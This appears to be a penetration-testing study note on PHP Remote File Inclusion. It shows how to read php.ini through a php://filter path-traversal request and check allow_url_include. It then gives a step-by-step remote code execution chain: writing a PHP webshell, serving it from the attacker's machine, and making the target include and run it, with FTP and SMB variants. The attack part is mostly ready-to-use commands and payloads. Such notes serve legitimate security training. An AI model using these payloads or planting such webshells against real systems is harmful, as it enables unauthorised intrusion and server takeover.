Remote File Inclusion (RFI)


  • RFI is basically an LFI which also allows inclusion of remote URLs in order to include remote files

  • The objectives are to enumerate local ports and web application through SSRF vulnerabilities or Gaining RCE by **including a malicious script that we host on our server **

  • Almost any RFI vulnerability is also an LFI vulnerability (by including a local URL rather than a remote URL)

Enumerate RFI Vulnerabilities

  1. Check if allow_url_include is enabled:

    • To do so, you need to read the PHP configuration file found at

    • (/etc/php/X.Y/apache2/php.ini) for Apache

    • (/etc/php/X.Y/fpm/php.ini) for Nginx,

    • where X.Y is your install PHP version

  2. Read the PHP Configuration File using the base64 filter (to ensure everything is read properly)

    • curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

  3. Check if the option is set to ON: echo 'BASE64VALUE' | base64 -d | grep allow_url_include

  4. This may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with.

  5. Try to include a URL, starting with a local url like then, if that works, include a remote URL

Remote Code Execution from RFI

Follow these steps:

  1. Write the webshell payload file: echo '<?php system($_GET["cmd"]); ?>' > shell.php

  2. Start a webserver: sudo python3 -m http.server <LISTENING_PORT>

  3. Use RFI to gain RCE: http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

  4. The same thing can be done by starting a local FTP or SMB server and using ftp://<OUR_IP>/shell.php&cmd=id or \\<OUR_IP>\share\shell.php

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